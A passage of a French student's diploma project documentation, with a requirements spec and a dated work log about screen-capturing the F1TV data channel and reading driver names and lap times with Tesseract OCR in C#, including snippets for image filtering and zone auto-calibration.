pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents","title":"Projet"},{"location":"CahierDesCharges.html#realisation","text":"Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Data channel exemple\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Proto\"","title":"R\u00e9alisation"},{"location":"CahierDesCharges.html#cas-dutilisation","text":"*On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes","title":"Cas d'utilisation"},{"location":"CahierDesCharges.html#difficultes-techniques","text":"R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Difficult\u00e9s techniques"},{"location":"jdb.html","text":"Journal de bord Mercredi 29 Mars 2023 Premier jour du travail de dipl\u00f4me. Nous avons eu un briefing de mr Garcia et nous avons pu commencer \u00e0 pr\u00e9parer le travail. Nous avons eu les diff\u00e9rents fichiers nescessaires \u00e0 la bonne r\u00e9alisation du projet et je me suis mis \u00e0 faire les fichiers nescessaires La premi\u00e8re chose a \u00e9t\u00e9 de faire ce mkdocs dans lequel j'ai mis un fichier yml plut\u00f4t standart qui risque de changer au fur et \u00e0 mesure. Voici le premier yml : site_name: Documentation Diplome theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html plugins: - glightbox - with-pdf Voici un example de \u00e0 quoi ca ressemble en forme de site \"Exemple mkdocs\" Ensuite il m'a fallu faire une version plus \u00e0 jour de mon cahier des charges car je n'y avait pas touch\u00e9 depuis novembre. J'ai envoy\u00e9 un mail \u00e0 mes enseignants pour qu'ils puissent y jeter un oeuil pour \u00eatre s\u00fbr que je n'ai rien chang\u00e9 qui les d\u00e9rangent. Monsieur Jayr m'a demad\u00e9 \u00e0 l'occasion de lui faire un planning type Gantt alors je me suis mis \u00e0 la t\u00e2che. J'ai fait un planning pr\u00e9visionnel et une l\u00e9gende les deux sont dispo dans le dossier planning de ce repertoire. Ensuite je me suis mis \u00e0 tout mettre sur git. A commencer par ce repertoire Et c'est deja la fin de la journ\u00e9e ! Demain j'avance un peu sur la doc avec ce que je peux d\u00e9ja remplir et je finis de pr\u00e9parer ce dont j'ai besoin pour commencer \u00e0 coder. Jeudi 30 Mars 2023 Aujourd'hui selon le planning je dois me charger des dernirers pr\u00e9paratifs pour commencer correctement. J'ai fait expr\u00e8s de prenre du temps pour ca au d\u00e9but pour ne pas me cr\u00e9er de soucis plus loin pendant le travail. Je vais envoyer par mail le planning que j'ai fait \u00e0 mes suiveurs. Ensuite je vais m'attaquer au squelette de la docmentation. Je vais essayer de remplir tout ce que je peux remplir dans un premier temps car cela tout ca de fait pour plus tard quitte \u00e0 modifier quelques aspects au fur et \u00e0 mesure. J'ai aussi d\u00e9sactiv\u00e9 mkdocs with pdf par ce que les r\u00e9sultats ne sont vraiment pas ceux que j'attends et cela ralentis \u00e9norm\u00e9ment le d\u00e9ploiment. J'ai aussi rassembl\u00e9 mes croquis pour le poster : \"Croquis Poster 1\" \"Croquis Poster 2\" On peut voir que dans un premier temps j'ai tent\u00e9 de faire un poster un peu plus stylis\u00e9 et marketing. Cependant apr\u00e8s avoir discut\u00e9 avec Mr Garcia et diff\u00e9rents profs dont un de l'HEPIA et ils m'ont indiqu\u00e9 que ce qui \u00e9tait attendu \u00e9tait moins du marketing qu'un diagramme de fonctionnement. On peut voir sur les derniers posters que le cot\u00e9 technique ressort de plus en plus. Le but sera de faire une version encore plus technique ou on peut voir les diff\u00e9rents fonctionnements de l'application avec les technologies utilis\u00e9es. Le d\u00e9fi cela va \u00eatre de faire un joli poster qui soit en m\u00eame temps vendeur et en m\u00eame temps rempli techniquement. Oh et j'ai eu un probl\u00e8me ou mon calvier et ma souris ne voulaient d'un coup plus fonctionner. Dans mon cas c'\u00e9tait un probl\u00e8me de power management des ports. J'ai eu le soucis sur mon pc fixe \u00e0 la maison et sur mon pc portable \u00e9galement. En gros de ce que j'ai compris le soucis c'est que le pc croit que un port est trop solicit\u00e9 niveau puissance et du coup d\u00e9cide de couper l'alimentation du port USB. J'ai pu r\u00e8gler le soucis en allant dans le device manager sous universal bus controller sous power management et en d\u00e9cochant la case qui indique que windows peut d\u00e9sactiver ce port. Je ne conseille pas ce fix si vous avez des composants de mauvaise qualit\u00e9 car cela pourrait \u00eatre une vraie alerte cependant le fait que mes composants sont plut\u00f4t haut de gamme et le fait que mon clavier et ma souris le fassent en m\u00eame temps et que ils fonctionnaient tr\u00e8s bien depuis plus de 4 ans me font penser que c'est juste une nouvelle mise a jour de windows qui est p\u00e9nible. Demain je vais pouvoir commencer \u00e0 coder pour de bon. Vendredi 31/03/2023 Aujourd'hui on s'occupe de la PT2 qui est la programmation de la r\u00e9cup\u00e8ration des informations des images. Je vais tester IronOcr Source : https://www.c-sharpcorner.com/article/ocr-using-tesseract-in-C-Sharp/ Doc : https://ironsoftware.com/csharp/ocr/docs/ Examples : https://ironsoftware.com/csharp/ocr/examples/simple-csharp-ocr-tesseract/ Avant d'utiliser la librairie je me demande si je dois utiliser un peu de post processing pour aider \u00e0 la reconnaissance. Je peux soit utiliser l'image crop\u00e9e directement : \"Image non trait\u00e9e\" Soit avec un filtre pour passer en noir et blanc laxiste \"Image trait\u00e9e laxiste\" Soit avec un filtre pour passer en noir et blanc stricte \"Image trait\u00e9e stricte\" Il va falloir faire des tests avec tous les noms et les chiffres pour trouver le plus efficace. Bon malheureusment Iron OCR semblait \u00eatre une bonne alternative mais c'est une librairie priv\u00e9e qui demande une license pour \u00eatre utilis\u00e9e. Il va falloir trouver autre chose. En utilisant la librairie \"Tesseract\" qui existe on peut faire de la reconnaissance de texte avec un code plut\u00f4t simple : TesseractEngine engine = new TesseractEngine(tessDataFolder.FullName,\"eng\", EngineMode.Default); var tessImage = Pix.LoadFromMemory(ImageToByte(sample)); Page page = engine.Process(tessImage); string text = page.GetText(); Voici la methode ImageToByte : https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array public static byte[] ImageToByte(Image img) { using (var stream = new MemoryStream()) { img.Save(stream, System.Drawing.Imaging.ImageFormat.Png); return stream.ToArray(); } } Voici le code pour traiter plusieurs textes sur une seule image : Page page = engine.Process(tessImage); // Get the iterator for the page layout using (var iter = page.GetIterator()) { // Loop over the elements of the page layout iter.Begin(); do { // Declare a Rect variable to hold the bounding box Rect boundingBox; // Get the bounding box for the current element if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { g.DrawRectangle(Pens.Red,new Rectangle(boundingBox.X1,boundingBox.Y1,boundingBox.Width,boundingBox.Height)); } // Get the text for the current element var text = iter.GetText(PageIteratorLevel.Word); tbxResult.Text += text.ToUpper() + Environment.NewLine; } while (iter.Next(PageIteratorLevel.Word)); } Etonnament, avec plus de texte, des noms qui \u00e9taient autrefois mal reconnus sont parfaitement interpr\u00eat\u00e9s. Par exemple voici un exemple de reconnaisance de texte sur tous les pilotes : \"Screenshot de reconnaisance d'image complete\" On voit que le nom Leclerc est mal reconnu. Mais voici ce que cela donne quand on prend une image qui ne contient que le nom Leclerc : \"Screenshot de reconnaissance d'image crop\u00e9e\" On voit ici que le nom Leclerc est tr\u00e8s bien reconnu. Dans le premier exemple on peut voir que Tsunoda est reconnu comme \"Reticin\" ce qui n'est pas exactement pareil (lol) Et quand on isole le nom Tsunoda dans une image seule : \"Screenshot de reconnaissance de Tsunoda\" Il le lit \"RETLELYY\" ce qui n'est toujours pas exactement ca... Une meilleure r\u00e9solution pourrait peut-\u00eatre r\u00e9soudre le probl\u00e8me en partie. Jusqu'ici les images \u00e9taient en presque 720P ce qui donne ceci : \"Tsunoda en 720P\" Et j'ai lanc\u00e9 une r\u00e9cup\u00e8ration d'images en 1080p pour r\u00e9cup\u00e8rer ceci : \"Tsunoda en 1080P\" On peut voir une certaine diff\u00e9rence tout de m\u00eame. Et quand on lance la reconnaissance : \"Reconnaissance Tsunoda en 1080P\" \"Tsunoda n'est plus \u00e9crit \"RETLELYY\" mais \"TSUNDDA\" ce qui n'est pas parfait mais qui est d\u00e9ja beaucoup mieux. J'ai essay\u00e9 de mettre l'engine de Tesseract en mode \"JPN\" comme Tsunoda est un nom japonais mais sans succ\u00e8s j'ai le m\u00eame r\u00e9sultat. Comme la r\u00e9solution est meilleure je me suis dit que peut \u00eatre le filtre de passage en noir et blanc pourrait aider. J'ai \u00e9crit cette petite methode pour convertir l'image en noir et blanc : private static Bitmap ConvertToBlackAndWhite(Bitmap inputBmp) { const int BLACK_TO_WHITE_TRESHOLD = 200; Bitmap result = new Bitmap(inputBmp.Width, inputBmp.Height); for (int y = 0; y < inputBmp.Height; y++) { for (int x = 0; x < inputBmp.Width; x++) { Color pixelColor = inputBmp.GetPixel(x,y); if (pixelColor.R <= BLACK_TO_WHITE_TRESHOLD && pixelColor.G <= BLACK_TO_WHITE_TRESHOLD && pixelColor.B <= BLACK_TO_WHITE_TRESHOLD) { pixelColor = Color.FromArgb(0,0,0); } else { pixelColor = Color.FromArgb(255,255,255); } result.SetPixel(x,y,pixelColor); } } return result; } Rien de bien dingue mais cela fonctionne et je peux jouer avec le BLACK_AND_WHITE_TRESHOLD pour changer son comportement. J'ai dabord test\u00e9 avec un treshold de 100 et le programme a r\u00e9ussi \u00e0 me sortir Tsunoda en deux mots ce qui \u00e9tait d\u00e9ja tr\u00e8s encourageant. Et apr\u00e8s avoir augment\u00e9 le Treshold... Tada : \"Tsunoda 1080P avec filtre\" Le programme arrive bien \u00e0 reconnaitre TSUNODA. Je pense que cette tactique ne fonctionnait pas avant car la resolution \u00e9tait trop faible et l'aliasing se m\u00ealait trop avec le texte pour \u00eatre utilisable. Cependant cette technique ne fonctionne pas sur tous les noms. Par example avec Leclerc : \"Leclerc 1080P avec filtre\" On r\u00e9cup\u00e8re \"Leeler'c\" ce qui n'est pas bon du tout. Mais en modulant le Treshold (ici \u00e0 150) On peut de nouveau voir Leclerc \u00eatre reconnu correctement \"Leclerc 1080P avec filtre 2\" Je pense que pour avoir de bons r\u00e9sultats il va falloir faire un algo qui : D\u00e9coupe l'image en autant de plus petites images pour avoir un mot par image. Teste voir si avec l'image originale un nom correspond \u00e0 la liste de pilotes existant. Si cela ne marche pas, on applique le filtre en modulant le Treshold. Dans le cas ou on aurait pas un match parfait on fait un algo qui cherche le nom le plus proche qui existe dans la liste de noms donn\u00e9s. Seulement voila, il n'y a pas que des lettres que l'on veut r\u00e9cup\u00e8rer. On veut surtout pouvoir r\u00e9cup\u00e8rer les chiffres. Pour les chiffres on va avoir des soucis \u00e9galement... Si on essaie directement la m\u00eame technique sans filtre on a des r\u00e9sultats comme celui ci : \"Tentative de reconnaisance du timing\" La virgule a tendeance \u00e0 se barrer ce qui est particuli\u00e8rement probl\u00e9matique. Cependant comme les chiffres ont beaucoup moins de possibilit\u00e9es que les lettres et qu'il n'y a pas de probl\u00e8me de langue on devrait pouvoir travailler \u00e0 faire des r\u00e8glage que l'on pourra ensuite utiliser. Avec un Treshold de 165 on arrive presque \u00e0 quelque chose d'int\u00e9ressant : \"Tentative 2 de reconnaissance du timing\" Le + n'est clairement pas compris mais ca n'est pas emb\u00eatant car c'est souvent redondant. On arrive cependant \u00e0 isoler 3 et 259. M\u00eame si la virgule n'est pas comprise cela veut dire qu'il est tout de m\u00eame possible de discriminer les secondes des milisecondes. Maintenant avec un temps au tour : \"Reconnaissance du timing au tour\" On arrive sans rien changer aux param\u00eatres \u00e0 isoler minutes secondes et milisecondes. Il semble que la reconnaissance de chiffre soit bien plus efficace que la reconnaissance de lettres. Il va falloir faire un test \u00e0 plus grande \u00e9chelle avec plus d'image pour se rendre compte de la precision. Demain ce qui serait bien cela serait que je fasse un jeu d'images avec des valeurs connues et que je fasse une batterie de tests pour voir \u00e0 quel point je peux faire confiance \u00e0 la reconnaissance des chiffres. Automatiser un syst\u00e8me de test de la sorte me sera tr\u00e8s utile dans le futur pour v\u00e9rifier la non regression de ma reconnaissance de texte quand je tenterai d'y faire des changements. Je suis toujours curieux cependant de voir comment le programme se d\u00e9brouille avec les nombres de tours qui se trouvent dans les icones de pneus. Lundi 3 Avril Aujourd'hui on va faire un programme qui permet de cr\u00e9er un dataset qui permette de tester le programme de reconnaissance. Je pense que le meilleur moyen de faire serait un programme qui cr\u00e9e le dataset et qui ensuite peut tester diff\u00e9rentes methodes de reconnaissance. Par la m\u00eame occasion je peux d\u00e9velopper la technologie qui va permettre de d\u00e9couper une image en 20 lignes ce qui me servira ensuite pour la reconnaissance. Je me rend compte que pour faire un programme de tests je dois d\u00e9ja avoir une id\u00e9e de la structure de mon programme. Pour le moment je r\u00e9flechis \u00e0 un syst\u00e8me de \"Zones\" et de \"Windows\". L'id\u00e9e serait que une Zone est juste une sous partie d'image qui peut encore \u00eatre d\u00e9compos\u00e9 tandis que chaque Window contient une ou plusieurs informations \u00e0 r\u00e9cup\u00e8rer. J'ai essay\u00e9 de d\u00e9couper l'image pour que cela soit plus clair : \"Main zone\" Ici on peut voir que l'image est d\u00e9coup\u00e9e en plusieurs grandes zones. Dans un premier temps on ne s'occupe que de la premi\u00e8re. Ensuite : \"Driver zone #1\" On peut voir la que cette Main zone serait elle m\u00eame d\u00e9compos\u00e9e en plusieurs plus petites zones. Et ensuite chacunes de ces petites zones : \"Driver windows\" Sera d\u00e9compos\u00e9e en plusieurs windows qui elles sont des zones qui contiennent de l'information. En gros on aurait trois types de zone : Les zones qui contiennent d'autres zones Les zones qui contiennent des Windows Les Windows Cependant en y r\u00e9flechissant on pourrait tout \u00e0 fait avoir seulement des zones et des windows en faisant en sorte que les windows peuvent avoir une liste de windows et une liste de zones. Une zone serait compos\u00e9e de : Une image de d\u00e9part Un rectangle qui la positionne sur cette derni\u00e8re Une liste de zones (potentiellement vide) Une liste de windows (potentiellement vide) Une methode qui permet de r\u00e9cup\u00e8rer une image de la zone Une methode qui permet de lancer la reconnaissance sur chaque window Une window serait compos\u00e9e de : Une image de d\u00e9part (cela peut \u00eatre l'image crop\u00e9e de la zone parente peu importe) Un rectangle qui la positionne sur cette derni\u00e8re Une methode qui permet de r\u00e9cup\u00e9rer un image de la window Une methode qui permet de lancer la reconnaisance sur l'image (Chaque type de zone doit l'impl\u00e9menter) Dans chaque window on peut imaginer que la methode qui fait la reconnaissance au lieu de retourner un objet qui peut contenir nimporte quel type d'information peut envoyer ce qu'elle vient de r\u00e9cup\u00e8rer dans une base de donn\u00e9e ou un objet. Par exemple une Zone de pilote pourrait tr\u00e8s bien contenir un objet pilote et le donner \u00e0 ses windows qui rempliraient ce m\u00eame objet. C'est une reflexion plus stockage que OCR mais c'est int\u00e9ressant pour savoir ce que fait une window des donn\u00e9es qu'elle r\u00e9cup\u00e8re. Dans un premier temps je pense que les windows vont simplement \u00e9crire dans un fichier ce qu'elles trouvent chacunes dans le format qu'elles veulent. Pour comprendre pourquoi je me prend la t\u00eate il faut savoir que chaque window peut avoir acc\u00e8s \u00e0 pleins d'informations diff\u00e9rentes. On pourrait dire qu'elles retournent toutes une string sauf que si ca marche pour un temps au tour ou pour un nom de pilote, cela ne marche pas forc\u00e9ment pour un type de pneu ou un DRS ouver. Comme chaque window a plusieurs types de data elle devra elle m\u00eame se charger de comment la traiter ET de la stocker. Voila un diagramme qui r\u00e9sume comment je vois l'impl\u00e9mentation dans un premier temps : \"Diagramme d'explications\" Voici comment se pr\u00e9sente le squellette d'une Zone : public class Zone { private Bitmap FullImage; private List Zones; private List Windows; private Rectangle _bounds; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap ZoneImage { get { Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Zone(Image fullImage, Rectangle bounds) { FullImage = (Bitmap)fullImage; Init(bounds); } public Zone(Bitmap fullImage, Rectangle bounds) { FullImage = fullImage; Init(bounds); } private void Init(Rectangle bounds) { Bounds = bounds; Zones = new List(); Windows = new List(); } public void AddZone(Rectangle bounds) { if(Fits(bounds)) Zones.Add(new Zone(ZoneImage,bounds)); } public void AddWindow(Rectangle bounds) { if (Fits(bounds)) Windows.Add(new Window(ZoneImage,bounds)); } private bool Fits(Rectangle inputRectangle) { if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0) { return false; } else { return true; } } } Le but est ensuite de cr\u00e9er diff\u00e9rent types de Zones. Par exemple la MainZone devra d\u00e9couper son contenu en 20 parties \u00e9gales pour tenter de chopper les 20 pilotes. Il serait cool de trouver un moyen de calibrer automatiquement. C'est peut-\u00eatre possible de calibrer avec de la reconnaissance de texte, on peut essayer de lancer la reconnaissance et voir ou on trouve du texte avec un peu de chance cela pourrait donner les positions et avec ca on peut peut-\u00eatre determiner des lignes. Et voici le squelette d'une window g\u00e9n\u00e9rique using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace OCR_tester { public class Window { private Bitmap FullImage; private Rectangle _bounds; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap WindowImage { get { Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Window(Bitmap fullImage, Rectangle bounds) { FullImage = fullImage; Bounds = bounds; } public virtual void RecoverInformations() { //Each Window type will have to implement its own way to recover the informations stored in the Window Image } } } Chaque Window pourra ainsi elle m\u00eame impl\u00e9menter la r\u00e9cup\u00e8ration d'informations. La facon de les retourner/stocker est encore un peu floue. Par exemple pour un temps au tour on peut imaginer que il fait une petite v\u00e9rification dans l'objet pilote et dans le tableau des tours si il n'y a pas deja une valeur et si il n'y en a pas une alors il peut l'ajouter. Maintenant je vais essayer de cr\u00e9er une Main window qui se calibre toute seule. Alors apr\u00e8s avoir bien gal\u00e8r\u00e9 avec l'interface pour permettre au user de cliquer sur la form pour voir les zones qu'il cr\u00e9e, j'ai pu cr\u00e9er un zone qui fait les dimensions de MainZone et j'ai pu lancer la reconnaissance sur l'image et voir ou il trouve du texte : \"MainZone avec carr\u00e9s de texte\" Maintenant il faut que je nettoie la liste de rectangle pour exclure ceux qui sont trop grands pour \u00eatre sur une seule ligne, ceux qui indiquent le nombre de tour en haut et ceux qui n'ont pas d'int\u00e9r\u00eats. On pourra ensuite isoler les lignes et cr\u00e9er une liste d'images. Pour ce qui est de la ligne qui contient les \"Gap interval last lap\" et des chiffres sur les tours pour les pneus etc je vais juste demander \u00e0 l'utilisateur de ne pas les prendre dans la screenshot. Comme ils contiennent des mots qui peuvent \u00eatre utilis\u00e9s plus loin dans les data je ne peux pas les blacklister et faire un syst\u00e8me qui s'occupe de les enlever si ils existent selon le position y me prendrait trop de temps pour rien. Apr\u00e8s avoir filtr\u00e9 un peu les resultats et enlev\u00e9 les zones beaucoup trop grandes, on se retrouve d\u00e9ja plus qu'avec ca : \"MainZone avec de meilleurs carr\u00e9s\" Comme on peut le voir, du c\u00f4t\u00e9 gauche de l'image on a beaucoup de choses reconnues mais avec beaucoup de tailles diff\u00e9rentes ce qui n'est pas id\u00e9al. Alors j'ajoute un filtre qui permet de ne selectionner que les data sur la droite. \"MainZone avec de meilleurs carr\u00e9s\" Maintenant il devrait \u00eatre possible de faire un algorythme qui ne prend que un seul carr\u00e9 par ligne. \"MainZone avec un seul carr\u00e9 par ligne\" Maintenant que on sait ou se trouve chaque ligne on peut faire un petit traitement et d\u00e9couper l'image en plusieurs windows. Et voila : \"Mainzone auto calibr\u00e9e\" Maintenant le programme peut cr\u00e9er des zones pour chaque pilote \"Images pilotes\" \"Zone d'un pilote\" Maintenant il faut que j'impl\u00e9mente un syst\u00e8me un peu similaire pour cr\u00e9er des windows. Voici la methode que j'ai cr\u00e9\u00e9 pour l'autocalibration : public void AutoCalibrate() { List detectedText = new List(); Zones = new List(); TesseractEngine engine = new TesseractEngine(Window.tessDataFolder.FullName, \"eng\", EngineMode.Default); Image image = ZoneImage; var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image)); Page page = engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if (boundingBox.X1 > image.Width / 2) { //Now we check if an other square box has been found roughly in the same y axis bool match = false; //The tolerance is roughly half the size that a window will be int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; foreach (Rectangle rect in detectedText) { if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance) { //There already is a rectangle in this line match = true; } } //if nothing matched we can add it if(!match) detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height)); } } } } while (iter.Next(PageIteratorLevel.Word)); } foreach (Rectangle Rectangle in detectedText) { Rectangle windowRectangle; Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS); Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2); windowRectangle = new Rectangle(windowLocation, windowSize); Zones.Add(new Zone(ZoneImage, windowRectangle)); } } Ca peut paraitre pas \u00e9norme comme code mais pour tout mettre en place ca demande quand m\u00eame pas mal de reflexion. J'ai du clean un peu le code que j'avais fait pour permettre la selection de zones et ajouter la possibilit\u00e9 d'ajouter des windows sur une zone. J'ai juste quelques difficult\u00e9es \u00e0 les ajouter correctement, j'ai un offset tout pourri qui se met tout le temps \"Sainz coup\u00e9\" \"Perez coup\u00e9\" Cela doit \u00eatre un soucis lors de la detection de clic qui met un offset en trop. C'est vraiment p\u00e9nible en tout cas. Certes c'est moins fun de devoir manuellement indiquer ou sont les windows sur une ligne de pilote, mais je ne vois vraiment pas comment faire cela automatiquement. Le but c'est de faire une configuration qui puisse \u00eatre sauvegard\u00e9e comme ca pas besoin d'\u00e0 chaques fois le refaire. C'est bon ! J'avais juste oubli\u00e9 de changer le calcul d'offset entre le code de la zone et de la window. Note pour plus tard, il serait peut-\u00eatre judicieux de faire quelque chose pour la vue, les windows et les Zones ont le m\u00eame exact comportement pour la vue ce qui fait dupliquer du code. Mais au moins maintenant ca fonctionne : \"Ocr tester screenshot\" Et le programme va directement cr\u00e9er un dossier par pilote avec toutes les images de chaque Data le concernant : \"Dossier Perez\" ; Et c'est tout pour aujourd'hui je pense. Ce qui serait cool demain c'est que je puisse stocker d'une mani\u00e8re ou d'une autre ces fichiers de calibration et que je puisse les transf\u00e8rer vers le programme qui va s'occuper de d\u00e9coder et commencer gentillement \u00e0 d\u00e9coder les diff\u00e9rents types de data. Note pour quand je ferai les tests. Je pense que la meilleure id\u00e9e serait que je prenne pleins de photos du style et que je les mette dans un fichier CSV ou JSON avec leur contenu. Et ensuite je le fais passer en tests pour calculer la prescision de mon algo de d\u00e9codage. Pour le moment on est plut\u00f4t dans les clouts niveau planning. Mardi 4 Avril Aujourd'hui je suis scens\u00e9 plut\u00f4t bosser sur l'interpretation des donn\u00e9es, mais une id\u00e9e m'a taraud\u00e9 l'esprit toute la nuit. Est-ce que je ne pourrais pas quand m\u00eame essayer de d\u00e9composer la zone de pilote directment comme pour la Main zone. Pour ce faire j'ai tent\u00e9 de faire comme pour la main zone c'est \u00e0 dire lancer la reconnaissance pour savoir ou \u00e9taient tous les champs de donn\u00e9es mais malheureusement je ne pense pas que cela va \u00eatre possible. En effet non seulement ici les champs sont de tailles tr\u00e8s vari\u00e9es, mais en plus la reconnaissance n'arrive pas \u00e0 en r\u00e9cup\u00e8rer le m\u00eame nombre sur chaque ligne ce qui risque d'\u00eatre complexe \u00e0 utiliser ensuite. La preuve : \"Tentative d'auto calibration\" ; Cependant tout n'est pas 